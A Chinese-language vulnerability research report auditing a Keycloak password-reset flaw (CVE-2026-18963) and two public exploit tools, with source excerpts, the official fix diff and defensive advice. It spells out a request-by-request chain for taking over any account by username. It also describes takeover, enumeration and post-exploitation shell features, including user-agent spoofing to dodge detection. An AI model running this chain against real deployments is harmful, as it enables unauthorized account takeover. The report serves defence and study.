文章总结: 本报告深入审计了KeycloakCVE-2026-18963漏洞及其两个公开利用工具。漏洞影响Keycloak26.0.0至26.7.1版本,源于reset-credentials流程的两个串联逻辑缺陷,攻击者仅需知道用户名即可在6个HTTP请求内绕过邮箱验证并修改任意账户密码,CVSS评分9.1。修复版本为26.7.2。报告对比了验证型PoC与批量扫描器KeySniper的差异,并提供了详细的技术分析与防御建议。 综合评分: 88 文章分类: 漏洞分析,代码审计,安全工具,应急响应,威胁情报
CVE-2026-18963-Exploit
网安之家-CyberHomestead
2026年9月7日 09:09 湖北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
KeySniper 与 CVE-2026-18963-Exploit 源码审计与漏洞研究报告
分析对象:
•https://github.com/ynsmroztas/KeySniper[1]•https://github.com/Snizi/CVE-2026-18963-Exploit[2]
分析方式:完整克隆两个仓库,逐文件审计源码;拉取 Keycloak 官方 26.7.1 / 26.7.2 源码做逐行 diff 验证根因;核对 GitHub Advisory Database、keycloak/keycloak issue #51833、修复 PR #51844、两个漏洞利用仓库的提交历史。 报告日期:2026-09-07 使用范围声明:本报告仅用于授权渗透测试、红蓝对抗与防御建设。对未授权目标运行
--takeover 1、改密、枚举等有副作用操作在多数司法辖区属违法行为。
0. TL;DR
1.两个仓库是同一个漏洞(CVE-2026-18963)的两把刀。Snizi 的 CVE-2026-18963-Exploit 是精密的验证型 PoC(纯标准库、四态判定、自带漏洞版+修复版 A/B 实验室),ynsmroztas 的 KeySniper 是批量化的”雷达 + 接管 + 后渗透 shell”扫描器(requests 依赖、支持 subfinder | httpx | KeySniper 管道)。2.漏洞本体:Keycloak 26.0.0 – 26.7.1 的 reset-credentials 流程存在两个串联的逻辑缺陷——(a) tryAnotherWay 在认证会话里写入一个不区分 execution 的粘性布尔标志;(b) ResetCredentialEmail.action() 无条件 context.success(),不校验邮件 action token。链起来之后,攻击者只要知道用户名或邮箱,6 个 HTTP 请求就能跳过”点击邮件链接”这一步,直接到达 UPDATE_PASSWORD 表单改掉任意账户密码,并且流程结束的 302 重定向里带一个受害者的 OIDC authorization code——改密完成即已登录为受害者。3.CVSS 9.1(Critical),CWE-640,无认证、无交互、无需读任何邮箱。修复版本 26.7.2 / 26.6.6 / 26.4.15(社区版只有 26.7.2,26.0–26.6 各线无补丁,只能升级小版本)。Red Hat 官方缓解措施:逐 realm(含 master)关闭 Forgot Password。4.漏洞窗口期约 23 个月:引入标志的提交 6a9e60bb 落于 2024-06-21,随 26.0.0(2024-10-04 发布)进入所有 26.x 部署;修复提交 dc2d4e5 于 2026-08-20 合并。Snizi 的 PoC 在修复合并当天晚上发布(3 个提交,2026-08-20 22:01–22:38 UTC);KeySniper 在 19 天后(2026-09-06)单次上传。5.本报告第三、四章完成漏洞原理与操作系统/网络协议层分析;第五、六章逐行审计两个仓库并指出设计妙处与缺陷;第十一章给出两工具真实 -h 输出 + 15 条”参数即模块”的命令配方;第十二章收录冷门但准确的命令语法。
1. 这两个仓库是什么,名字有什么寓意
1.1 定位
| | CVE-2026-18963-Exploit(Snizi) | KeySniper(ynsmroztas / Mitsec) |
| — | — | — |
| 角色 | 验证型 PoC + 教学实验室 | 批量探测/接管扫描器 |
| 核心动作 | 四态判定(VULNERABLE / PATCHED / MITIGATED / INCONCLUSIVE) | [VULN] / [ATO] / [SAFE] / [SKIP] / [FAIL] 徽章输出 |
| 目标规模 | 单目标,逐步给出证据链 | 单目标 / 列表 / stdin 管道(线程池并发) |
| 依赖 | 零依赖 (Python 3.9+ 标准库) | requests |
| 附加能力 | --safe-check 无副作用探测、--check 无损证明、--enum 用户枚举、A/B Docker 实验室 | realm 自动发现、Keycloak 指纹、--shell 交互式后渗透 shell、--takeover 1 直接改密 |
| 解析基准 | 只信 action= URL 路径与 execution 参数(自定义主题免疫) | 依赖 kc-* 表单元素 ID(自定义主题会漏报) |
| 许可证 | MIT | 无 |
1.2 名字寓意
KeySniper = Key(cloak) + Sniper(狙击手),三层双关:
•Key:既指目标产品 Keycloak,也指”密钥/账号凭据”——工具拿走的就是账户的钥匙;•Sniper:狙击手的作战方式是”潜伏观察(detect)→ 锁定(realm/user 发现)→ 一击必杀(一个请求链完成 ATO)”。代码里到处是军事隐喻:实时日志函数叫 radar()(雷达,KeySniper.py:92),输出徽章是 VULN/ATO(红方命中);•保险栓设计:--takeover 0|1 是狙击枪的保险——默认 0(只侦测不击发),1 才真正改密。README 反复强调”Do not pass --takeover 1 or --shell on a pipeline dump”,即”批量扫描时绝不开保险”。
代码里还有一个彩蛋:默认改密密码 SelaM1337@@。作者 Yunus Emre Öztaş 是土耳其人,Selam 是土耳其语”你好”,1337 是 leet 黑话(推测性解读,仓库未解释)。这个硬编码默认值本身就是蓝队 IOC(见第 9 章)。Banner 自述:detect · takeover · interactive shell · pipeline。
CVE 仓库名 CVE-2026-18963-Exploit 无隐喻,是标准的”CVE 编号 + Exploit”命名,便于检索和情报聚合(这也解释了为什么它 39 star / 13 fork,被防守方当参考实现收藏)。
1.3 作者
•Snizi([email protected],github.com/Snizi):PoC 作者,README 明确写”为防守方、应急响应者和授权渗透测试者而作”,附完整实验室。•Mitsec / Yunus Emre Öztaş(x.com/ynsmroztas):KeySniper 作者,README 定位”in-scope bug bounty and authorized assessments”。
2. 前世今生:技术脉络与精确时间线
2.1 Keycloak 简史(和这个漏洞有什么关系)
•Keycloak 是 Red Hat 2014 年开员的开源 IAM(血统上接替 JBoss 的 PicketLink SSO),如今是事实上的开源 SSO 标准:OIDC/OAuth2/SAML、broker、用户联邦(LDAP/AD)、细粒度授权全都有。商业版即 Red Hat Single Sign-On(7.x),后改名 Red Hat Build of Keycloak。•认证流程引擎(本漏洞的舞台)是 1.x 时代成型的 AuthenticationProcessor / DefaultAuthenticationFlow:一个 realm 绑定若干”flow”,flow 由”execution”(认证步骤,如 username-form、reset-credential-email、otp)组成,每个 execution 有状态机(ATTEMPTED / CHALLENGED / SUCCESS / FAILED),流程推进过程中把”当前停在哪个 execution”等上下文写进 AuthenticationSession 的 authNote(服务端存储,浏览器只拿一个 AUTH_SESSION_ID cookie)。•Action Token 框架(Keycloak 3.x 引入,2017 年前后):邮件里的”重置密码”链接不再对应数据库里的旧式 action code,而是一个签名的自包含 token(本流程中是 ResetCredentialsActionToken),用户点开链接时服务端验签并把 ACTION_TOKEN_USER_ID 写进 authNote——这就是”邮箱所有权证明”的本体。这个漏洞的本质,就是让流程在没有任何 action token 的情况下把”证明”当作”已完成”。•发行版迁移:v17(2022)起从 WildFly 迁到 Quarkus。legacy WildFly 版(≤17)与 RH-SSO 7.x 没有”Try another way”这套代码路径,因此不受本 CVE 影响(但它们 EOL,问题更多,别把”不受这个洞影响”当成安全)。
2.2 reset-credentials 流程(正常剧本)
1.用户在登录页点 Forgot Password → 进入 /realms/{realm}/login-actions/reset-credentials;2.提交用户名 → ResetCredentialEmail.authenticate() 生成 ResetCredentialsActionToken,把链接发到用户邮箱,流程 fork:浏览器回到登录页并显示”已发送邮件”;3.用户打开邮箱点链接(唯一携带签名 token 的时刻)→ 服务端验证 → ResetCredentialEmail.action() → context.success();4.流程进入 required action UPDATE_PASSWORD → 用户设置新密码。
安全模型一目了然:步骤 3 的邮件链接是唯一的信任锚。谁能不点链接走完步骤 3,谁就绕过了整个邮箱所有权证明。
2.3 罪魁祸首:”Try another way”(2024 年的一次 UX 修复)
官方仓库提交记录核实:
commit 6a9e60bb 2024-06-21"Flow steps back when changing locale or refreshing page on 'Try another way page'"改动文件:AuthenticationProcessor.java DefaultAuthenticationFlow.java MultiFactorAuthenticationTest.java
这次提交修的是一个纯 UX 问题:用户在”Try another way”(换个验证方式)页面刷新或切语言时流程会倒退。修法是引入 authNote AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED,让刷新后还能停在选择器页面。问题在于这个标志存的是裸字符串 "true",没有记录”是哪一个 execution 把它置位”——一个为体验而生的便利贴,变成了安全状态机里的幽灵状态。
2024-10-04,Keycloak 26.0.0 发布,这段代码进入所有 26.x 部署。
2.4 2026 年披露与武器化时间线(全部经 GitHub API / 官方源码核实)
| 时间 (UTC) | 事件 |
| — | — |
| 2024-06-21 | 提交 6a9e60bb 引入粘性标志(UX 修复) |
| 2024-10-04 | Keycloak 26.0.0 发布,漏洞进入所有 26.x |
| 2026-07-09 | 26.7.0 发布(仍然带洞) |
| 2026-08-18 17:16 | NVD 发布 CVE-2026-18963(CNA:Red Hat,Bugzilla #2511595) |
| 2026-08-18 18:32 | GHSA-4gv3-mc9p-5wqc 发布(CVSS 9.1 / CWE-640) |
| 2026-08-19 | 26.7.2 发布 (修复版);Keycloak 维护者 stianst 开 issue #51833,指派 rmartinc |
| 2026-08-20 08:57 | 修复提交 dc2d4e5 合并主线(私有安全仓库 PR #986 → 主线 PR #51844),同日 Red Hat 多份 RHSA errata(56519/56520/56523/56524) |
| 2026-08-20 22:01–22:38 | Snizi 发布 PoC 仓库 (3 个提交:初始 PoC → 修 README 锚点 → 把 safe-check 快速上手提到首屏),MIT 协议 |
| 2026-09-06 | KeySniper 单次上传 (”Add files via upload”,无 git 历史,无许可证) |
两个值得记下的观察:
1.PoC 与官方修复同日面世——说明作者跟踪上游安全修复的实时程度很高(大概率通过 keycloak commit 邮件流或 advisory 预告),也意味着从补丁发布到公开武器化可以是小时级。2.KeySniper 没有 git 历史,整个项目一次 upload 上来,说明它是成品投放而非渐进开发。这种仓库要格外注意供应链风险(本次审计未发现恶意代码,但它无许可证、无提交历史,第三方镜像/改种风险高)。
2.5 CWE-640 家族坐标
CWE-640(Weak Password Recovery Mechanism for Forgotten Password)是 IAM 漏洞里的常青家族,常见形态:重置链接由 Host 头生成(可投毒)、token 可预测、完成改密的那一步不验证 token(本例)、流程状态可回退重放(本例)。本例的特殊性在于两个缺陷都不在”加密”层,而在”流程状态机”层——修复也因此不是换算法,而是给状态打标签 + 补一次校验。
3. 漏洞原理:抽丝剥茧
3.1 前置知识:三个关键状态
一次登录/重置会话在 Keycloak 里是一个 AuthenticationSessionModel,攻击者浏览器只持有 AUTH_SESSION_ID cookie,真正的状态在服务端 authNote 里。本漏洞涉及三个 note:
| authNote | 写入者 | 含义 |
| — | — | — |
| AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED | tryAnotherWay POST 处理分支 | “选择器页面已展示”(26.7.1 中值为裸 "true") |
| CURRENT_AUTHENTICATION_EXECUTION | 流程推进/分叉时 | “流程当前停在哪个 execution”(如邮箱网关 execution 的 id) |
| ACTION_TOKEN_USER_ID | 用户点击邮件 action token 链接后 | “邮箱所有权已被这个用户证明”(本漏洞的信任锚) |
3.2 缺陷一:不区分 execution 的粘性标志(DefaultAuthenticationFlow.java)
以下均为从 GitHub 官方仓库拉取的 26.7.1 原文(漏洞版):
processAction()——任何携带表单键 tryAnotherWay 的 POST:
if (inputData.containsKey("tryAnotherWay")) { processor.getAuthenticationSession().setAuthNote( AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true"); // ← L121 return createSelectAuthenticatorsScreen(model);}
这个 note 只有一个清除点——POST 里带了 authenticationExecution 参数的分支(removeAuthNote,L128)。本 PoC 全程不发这个参数,所以标志在整个认证会话生命周期内恒为真。
processFlow()——GET 重新进入流程时的处理:
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) { // L266 String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION); if (lastExecutionId != null) { AuthenticationExecutionModel executionModel = realm.getAuthenticationExecutionById(lastExecutionId); if (executionModel != null) return createSelectAuthenticatorsScreen(executionModel); // ← 渲染一个指向"当前驻留 execution"的可提交表单 }}
注意语义偏移:这行代码的本意是”刷新选择器页面时别让流程倒退”,但它的实现是“只要标志为真,就把当前驻留的任何 execution 以选择器表单的形式重新渲染给你”。如果”当前驻留的 execution”恰好是邮箱网关——表单提交就会直接推进邮箱网关。这就是可以被攻击者使用的跳板。
关键的”驻留”胶水在 processResult() 的 FORK 分支(L544-547):
case FORK: processor.getAuthenticationSession().setAuthNote( AuthenticationProcessor.CURRENT_AUTHENTICATION_EXECUTION, execution.getId()); // ← 驻留! throw new ForkFlowException(result.getSuccessMessage(), result.getErrorMessage());
ResetCredentialEmail.authenticate() 对不存在的用户也会走 fork(官方 26.7.1 原文):
if (user == null) { context.forkWithSuccessMessage(new FormMessage(Messages.EMAIL_SENT)); return;}
也就是说:提交一个不存在的用户名,虽然不发邮件,但 CURRENT_AUTHENTICATION_EXECUTION 依然被驻留在邮箱网关 execution 上。这是 --safe-check 能做到”无用户、无副作用”探测的根本原因(见 5.2 第 9 条)。对存在邮箱的合法用户,fork 同样发生——只是多了一封真实发出的重置邮件。
3.3 缺陷二:永不验票的邮箱网关(ResetCredentialEmail.java)
26.7.1 的 action() 全文就两行有效代码:
@Overridepublic void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success();}
无条件成功。没有任何一行验证”流程是被合法 action token 恢复的”。”走到这里“被当成了”邮箱已证明“。
3.4 完整攻击链:6 个请求到达改密表单,第 7 个请求完成接管
① GET /realms/{realm}/protocol/openid-connect/auth?client_id=account&response_type=code&redirect_uri=... → 302 到 /login-actions/authenticate?...&tab_id=xxx (铸造认证会话;浏览器获得 AUTH_SESSION_ID)② GET /realms/{realm}/login-actions/reset-credentials?client_id=account&tab_id=xxx → choose-user 表单(记下 execution = exec_a)③ POST ②的 action,body: tryAnotherWay=on → 选择器页面;粘性标志 = "true" 永久置位④ POST 选择器表单,body: username=<victim> → 真实重置邮件发往受害者;FORK 把 CURRENT_AUTHENTICATION_EXECUTION 驻留在邮箱网关 exec_b → 浏览器被甩回登录页,显示"邮件已发送"⑤ GET ②同一个 reset-credentials URL(同 cookie、同 tab_id) → 粘性标志为真 + 驻留 exec_b → 服务端把**邮箱网关表单**当"选择器"重新渲染 → 判别信号:页面仍属 login-actions/reset-credentials,且 execution = exec_b ≠ exec_a⑥ POST ⑤的表单(body 可为空) → processAction 按 execution=exec_b 路由 → ResetCredentialEmail.action() → context.success() → 邮箱网关被无票通过,流程推进 required action → UPDATE_PASSWORD 表单⑦ POST password-new / password-confirm → 改密完成;最终 302 携带受害者的 OIDC authorization code —— 攻击者此刻已以受害者身份登录
每一步的状态推演:
| 请求后 | SELECTOR 标志 | CURRENT_EXECUTION | ACTION_TOKEN_USER_ID | 攻击者位置 |
| — | — | — | — | — |
| ①② | 无 | exec_a(choose-user) | 无 | choose-user 表单 |
| ③ | "true" (粘性) | exec_a | 无 | 选择器表单 |
| ④ | "true" | exec_b(邮箱网关,驻留) | 无 | 登录页 + “邮件已发送” |
| ⑤ | "true" | exec_b | 无 | 邮箱网关表单被当选择器渲染 |
| ⑥ | (不再重要) | 推进 | 仍然没有 | UPDATE_PASSWORD 表单 |
| ⑦ | – | – | – | 302 + ?code=(受害者会话) |
两条经验教训从这里长出来:
•状态机复原类的”便利逻辑”必须绑定作用域。③埋的雷在⑤爆,中间隔了两个请求、一次 fork。•信任锚要校验存在性,而不是流程到达性。action() 的调用方有两条路(合法 token 点击 / 粘性标志渲染),代码没有区分。
3.5 为什么两个缺陷单独都不成立
•只有缺陷一:粘性标志让你能反复渲染”当前驻留 execution”的表单,但如果 action() 验票,提交邮箱网关表单只会得到 INVALID_USER 失败——你顶多做流程内刷新。•只有缺陷二:正常流程里 action() 只会在用户点了邮件链接后被调用;没有缺陷一,攻击者没有任何办法在无 token 情况下到达 action()。•官方修复因此是双闸门(见 3.6):任何单独一个闸门都能让这条链断掉。
3.6 官方修复分析(PR #51844 / commit dc2d4e5,26.7.1 → 26.7.2 实测 diff)
闸门一:给便利贴写名字,并对暗号。
- setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");+ setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId()); // 存"谁置的位"
String selector = authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED); if (selector != null) {- if (lastExecutionId != null) { ... return createSelectAuthenticatorsScreen(executionModel); }+ if (selector.equalsIgnoreCase(lastExecutionId)) { // 只认自己置位的 execution+ ... return createSelectAuthenticatorsScreen(executionModel);+ } else {+ authSession.removeAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED); // 对不上暗号 → 撕掉便利贴+ } }
攻击链第⑤步时 selector(choose-user id)≠ lastExecutionId(邮箱网关 id),标志被移除,流程回到正常评估——直接在 ⑤ 掐断。
闸门二:邮箱网关补验票。
public void action(AuthenticationFlowContext context) {- context.getUser().setEmailVerified(true);- context.success();+ UserModel user = context.getUser();+ String actionTokenUserId = context.getAuthenticationSession()+ .getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);+ if (user != null && user.getId().equals(actionTokenUserId)) {+ context.getUser().setEmailVerified(true);+ context.success();+ } else {+ context.failure(AuthenticationFlowError.INVALID_USER);+ } }
即使未来再出现新的”到达路径”,action() 自身也能兜底。同 PR 附带 ResetPasswordTest 回归测试(”stale reset-flow navigation”)。
一个工程细节:合并版用的是 equalsIgnoreCase。GitHub 上的 Copilot 评审意见指出 execution id 是大小写敏感的、应该用严格相等——最终保留了宽松比较。这不构成新的安全缺口(比较双方都来自服务端存储),但属于代码评审里”建议未被采纳”的实例,值得在代码审计课里提一句。
3.7 三个被低估的衍生发现(PoC 作者实测,超出 advisory 文本)
1.没有邮箱属性的账户照样能打。authenticate() 对 user.getEmail() == null 走 forkWithSuccessMessage——驻留照常发生。AD/LDAP 联邦 realm 里账户经常没有邮件属性,这直接扩大了受影响面。2.SMTP 坏了不是缓解。发送失败同样驻留。别忘了”我们邮件服务器故障所以重置不可用”这种侥幸心理。3.MFA 不是缓解。默认 reset-credentials 流程里没有 OTP 步骤,且接管成功后攻击者可以注销受害者已注册的 OTP/WebAuthn 凭据。4.(附带)--enum 模式还证明这同时是一个用户枚举预言机:真实用户走到⑥返回 200 + 密码表单;不存在用户在⑥触发 context.getUser() NPE 返回 400。Keycloak 故意做的”一律提示已发邮件”防枚举设计在步骤断掉了。代价是每次探测都给真实用户发真邮件 + 置位 emailVerified(见 5.2 第 10 条的限流设计)。
3.8 受影响版本精确边界(GHSA 官方数据)
| 版本线 | 受影响 | 社区修复 | | — | — | — | | legacy WildFly ≤17 / RH-SSO 7.x | 不受影响(无此代码路径) | — | | 17 – 25.x(Quarkus) | 不受影响 | — | | 26.0 | 26.0.0 – 26.0.17 | 无 (该线无补丁) | | 26.1 / 26.2 / 26.3 / 26.5 | 各线全部 | 无 | | 26.4 | ≤ 26.4.14 | 26.4.15(vendor backport) | | 26.6 | ≤ 26.6.5 | 26.6.6(vendor backport) | | 26.7 | ≤ 26.7.1 | 26.7.2 (社区唯一通用修复) | | 26.8.0+ | 不受影响(合并了修复) | — |
前置条件:目标 realm 开启了 Forgot Password,且绑定的 reset 流程使用内建 reset-credential-email。这是 per-realm 设置,master 也算。大量生产环境钉死在旧 26.x 求稳——”我们这条线全补丁了”在本例中是个常见且致命的误解。
4. 操作系统与网络协议层分析
先说清楚一件事:这是一个纯逻辑漏洞(CWE-640),没有内存破坏、没有 shellcode、没有需要 exploit 开发的二进制层技术。全部利用面在 HTTP 语义层。但”从 Python 一行 self.s.post() 到内核 syscall、再到底层 JVM 服务端发生了什么”是实打实的系统工程,值得拆开——这对做检测(你能在哪一层看到痕迹)和做防护(你能在哪一层掐断)都有直接价值。
4.1 攻击端:从 Python 到 syscall
两个工具的调用栈本质相同,以 KeySniper(requests)为例,PoC(urllib.request)只是少了第一层:
KeySniper.py / cve_2026_18963_poc.py Python 解释器(CPython 3.9+) └─ requests.Session / urllib.request HTTP 抽象层(连接池/CookieJar/重定向器) └─ http.client.HTTPConnection 报文组装:request line + headers + urlencoded body └─ ssl.SSLSocket.wrap_socket() TLS 握手(OpenSSL libssl) └─ socket.socket() CPython socket 模块(C 层,_socket.c) └─ Winsock / BSD sockets 操作系统网络栈
每一次 HTTP 步骤在 Windows(本机实测环境)上的系统调用序列:
WSAStartup() 进程首次使用 socket 时getaddrinfo(host, "443") DNS 解析(A/AAAA;走系统解析器缓存 svc → DNS 查询 UDP/53)socket(AF_INET, SOCK_STREAM, 0)connect() → TCP 三次握手 (SYN, SYN/ACK, ACK)send()/recv() × n TLS 1.2/1.3 握手(ClientHello...Finished)send() 明文层:POST /realms/.../login-actions/reset-credentials?... HTTP/1.1recv() HTTP/1.1 200 OK ...(HTML)closesocket() 连接关闭(requests 连接池下为复用,keep-alive)
利用端状态完全由两个东西承载:
1.Cookie 头里的 AUTH_SESSION_ID(服务端会话的句柄);2.URL 里的 tab_id / execution / client_id 等查询参数。
也就是说:利用者机器上没有任何持久化 payload,取证时要找的不是二进制,而是一段 7 请求的 HTTP 会话。这就是为什么第 9 章的全部检测手段都落在”HTTP 层 + Keycloak 事件层”,而不是 EDR 层。
并发细节(KeySniper):ThreadPoolExecutor(max_workers=t) 使用 OS 线程(每线程默认 1MB 栈保留),对 print 的并发写入用 threading.Lock 串行化——所以在目标侧看到的并发形态是”同一源 IP 的 N 条并行 TCP 连接”,N 默认 4。
4.2 服务端:请求进来之后发生了什么
Keycloak(Quarkus 发行版)侧的路径:
内核: 网卡中断 → 内核网络栈 → listen socket 队列 → accept() → Vert.x/Netty I/O 线程(epoll/kqueue/IOCP 事件循环, worker 线程池) → HTTP/1.1 解析(undertow/quarkus-http) → Keycloak services 层: LoginActionsService ← /login-actions/reset-credentials 等路径的路由 AuthenticationSessionManager ← 用 AUTH_SESSION_ID cookie 从 Infinispan(内嵌缓存,可选 JDBC 持久化) 反序列化出 AuthenticationSessionModel(authNote 都在这里) DefaultAuthenticationFlow ← processAction()/processFlow() 状态机(漏洞代码所在) → SMTP 出站: authenticate() 发邮件时新建到 mailhost:25/587 的 TCP 连接(服务端自己发起的出站网络行为) → 事件写入: SEND_RESET_PASSWORD / UPDATE_PASSWORD 等管理事件(admin-events / login-events 表) → DB 写: emailVerified 翻转、密码凭据更新(credential 表,PBKDF2/bcrypt 存储)
对防守方的直接推论:
•漏洞状态(authNote)在服务端,攻击者无法伪造或篡改它,只能顺着 API 语义”借力”;•每次利用都会留下服务端可观测的副作用:一封出站 SMTP 邮件、SEND_RESET_PASSWORD 事件、emailVerified 数据库写、UPDATE_PASSWORD 事件、最终的会话/令牌签发记录;•唯一没有的痕迹是合法流程必有的那一步:GET /login-actions/action-token?...(受害者点链接)。”有改密、无 token 点击”就是检测核心(见 9.2)。
4.3 客户端代码里两个值得学习的网络工程细节(PoC)
•StopAtRedirectUri(PoC L41-48):重写 urllib.request.HTTPRedirectHandler.redirect_request,当重定向目标以 redirect_uri 前缀开头时抛出自定义异常 _CaughtRedirect。为什么必须这么做?因为流程完成时的 302 指向 http://localhost:9999/callback?code=...——真跟进这个重定向会连一个不存在的端口。拦截 + 异常上抛,就在”不跟进”的前提下拿到了最终 URL(含 code=)。这是写 OIDC 相关工具的标准手法。•BrowserCookiePolicy(PoC L31-33):覆写 return_ok_secure 恒返回 True,让 urllib 接受通过明文 HTTP 下发的 Secure cookie。Keycloak 开发模式(start-dev)和不少错误配置的生产实例走 HTTP,AUTH_SESSION_ID 却带着 Secure 属性——不覆写这个策略,CookieJar 会静默丢弃会话 cookie,工具对 http 目标直接失灵。
4.4 一个诚实的说明
有读者会期待”内核 exploit / 权限提升”层面的分析——本漏洞没有这一层。它不需要,也不可能有:攻击代码 100% 由合法 HTTP 请求组成,服务器”心甘情愿”地执行了所有写操作。这类漏洞的攻防全部发生在身份语义层,防御重心是”升级 + 流程开关 + 日志”,不是 WAF 正则包打天下(但 WAF 能做临时缓解,见 9.3)。
5. PoC 源码逐段审计(Snizi/CVE-2026-18963-Exploit)
5.1 文件清单与角色
| 文件 | 角色 |
| — | — |
| cve_2026_18963_poc.py (553 行) | 主工具:exploit / –check / –safe-check / –enum 四模式 |
| lab/docker-compose.yml | A/B 实验室:26.7.1(:8080)+ 26.7.2(:8100)+ Mailpit(:8025 邮箱 Web UI,:1025 SMTP) |
| lab/realm-poc.json | 双实例导入完全相同的 realm(poc,用户 victim/OriginalPassw0rd!,公钥客户端 poc-app 开 Direct Access Grants,SMTP 指向 Mailpit) |
| lab/legit_reset.py | 真流程对照组 :从 Mailpit API 取出 action-token 链接并”点击”,走合法重置。与 exploit 跑同一 realm 后 diff 请求轨迹和事件日志 → 生成检测规则的基准样本 |
| lab/reset-victim.sh | 用 admin-cli REST API 把 victim 密码复原,实验可循环 |
| candidates.example.txt | 枚举示例:真实用户、邮箱形式、不存在用户各一 |
这个实验室的设计是教科书级的:漏洞版和修复版同配置对照(排除环境变量干扰),真流程和攻击流程对照组(检测规则有据可依),邮件可视化(亲眼看那封”从未被点开”的邮件躺在 Mailpit 里)。
5.2 设计妙处清单(逐条带行号)
1.零依赖(L6-15,仅标准库)。README 的说法是”drops onto any jump box”——跳板机上没有 pip、不能联网装包是常态,纯标准库是实战选择而不是炫技。2.UA 伪装成 Chrome 125 / Linux(L19-20)。工具流量混入正常浏览器指纹,蓝队按 UA 聚类时不容易被 python-requests 这类默认值一票抓出。3.StopAtRedirectUri 重定向拦截(L41-48):见 4.3。redirect_uri.split("*")[0].rstrip("/") 处理了通配符 redirect URI——细节到位。4.HTTPError 当正常响应处理(L75-76)。Keycloak 的 400 页面(比如枚举时的 NPE 页)本身就是判定依据,不能让异常处理把响应体吞了。5.主题免疫的解析基准(L94-115, L122-124):所有判定只看 <form action="..."> 的路径片段(login-actions/reset-credentials|authenticate|required-action)和 execution/tab_id 查询参数——这些出自 Keycloak 自己的 LoginActionsService,自定义主题改不掉。reset_entry_url() 直接构造 reset 入口 URL(用登录页任意表单里抓来的 tab_id),从头到尾不碰那个可能为空、可能消失、可能指到站外的”Forgot password”链接。find_tab_id 做了两级兜底(表单 action 参数 → 全文正则)。6.gate_action() 判别器(L134-139):在 reset 路径的表单里找 execution ≠ choose_exec 的那个——”还在 reset 流程内”证明没被甩去登录页,”execution 变了”证明这就是被驻留的邮箱网关而非重渲染。两个条件缺一不可,这是把漏洞机理直接翻译成了判定逻辑。7.密码策略拒绝检测(L237-239):改密 POST 后如果页面又出现了 password-new 输入框,判定为 realm 密码策略拒绝并明确报错——而不是笼统的”利用失败”。8.verify() 密码授权验证(L250-261):改密后用 grant_type=password 换 token 双确认,且 --verify-client-id 允许指定另一个开了 Direct Access Grants 的客户端(因为 account 客户端通常禁用直接授权)。退出码 1 专门表示”密码已改但验证未通过”——四种结局各有各的退出码(0/1/2/3)。9.--safe-check 的机理正确性(L355-449):用不存在的用户名(默认 zz-nonexistent-probe-4f9a2c7e,故意长得不像任何真实用户)走完 ①→④,靠 user == null 也 fork 的行为让邮箱网关驻留,⑤ 的判别器命中即判 VULNERABLE——永不提交⑥。全程 0 封邮件、0 次数据库写。判定哲学是”只断言阳性“:VULNERABLE 必须有正向证据;PATCHED 也要自己的证据(甩到 login-actions/authenticate 且有 password 输入框);一切看不懂的都归 INCONCLUSIVE(退出码 3)并支持 --dump 落盘人工研判。README 里作者自述曾经把”不是网关表单”当 patched,结果自定义主题/WAF 拦截页/错误页全部误报成安全——这个教训写进了代码结构里。10.枚举模式的自我克制(L306-352):--enum-max 默认 25 条硬上限、--enum-delay 默认 2 秒,超限直接拒绝执行并解释”每一 probe = 给一个真人发一封重置邮件 + 改他的 emailVerified”。每个候选独立 Http 实例(L268-270)避免 cookie 串味。README 明说:这是用来在报告里证明”预言机存在”的,不是拿来薅通讯录的。把滥用门槛直接做进 CLI 默认值,是漏洞工具工程伦理的好样本。11.--check 诚实标注副作用(help 文本 L479-491):明确告知这 mode 无法避免的两个副作用(真邮件 + emailVerified 置位)发生在密码表单上游——技术上的诚实(不是营销式的”无害扫描”)。12.--verbose --dump 诊断组合:verbose 把每个请求的 method/URL/body/落点打到 stderr,失败时 dump 响应体。配合 4.1 的分层知识,可以精确定位卡在哪一步。
5.3 局限(作者自己承认 + 本审计补充)
•PKCE 强制客户端直接失败(README §6):步①报 Missing parameter: code_challenge_method,归 INCONCLUSIVE。作者邀请 PR。•首次 Http 会话不提供代理参数——但这不是问题:urllib.request 默认读取 https_proxy 环境变量(见 12 章 R12),接 Burp/mitmproxy 零成本。•exec_id_of 假定 action URL 带完整 execution 参数;极端自定义 flow 若把 execution 放 fragment 会失灵(现实罕见,INCONCLUSIVE 兜底)。
6. KeySniper 源码逐段审计(ynsmroztas/KeySniper)
6.1 架构(单文件 741 行,三层)
main() 参数解析 / 目标收集 / 线程池 / 汇总统计 / shell 入口 ├─ collect_targets() -u / -l / stdin 三源归一 + 去重 ├─ Sniper 每目标一个实例(独立 Session) │ ├─ resolve_base() /realms/master → /auth/realms/master 二级探测(/auth 前缀自动识别) │ ├─ discover() 7 路径信息收集 + ≤12 个 <script src> JS 抓取 → realm/版本正则提取 │ ├─ live_realms() 候选 realm 存活验证(顺序:指定 > master > 发现 > ~70 词表) │ └─ exploit_realm() 8 步利用状态机 → Hit(VULN/ATO/SAFE/SKIP) └─ SessionShell ATO 成功后的交互 shell(token/whoami/realms/users/user/get/creds)
6.2 妙处清单(逐条带行号)
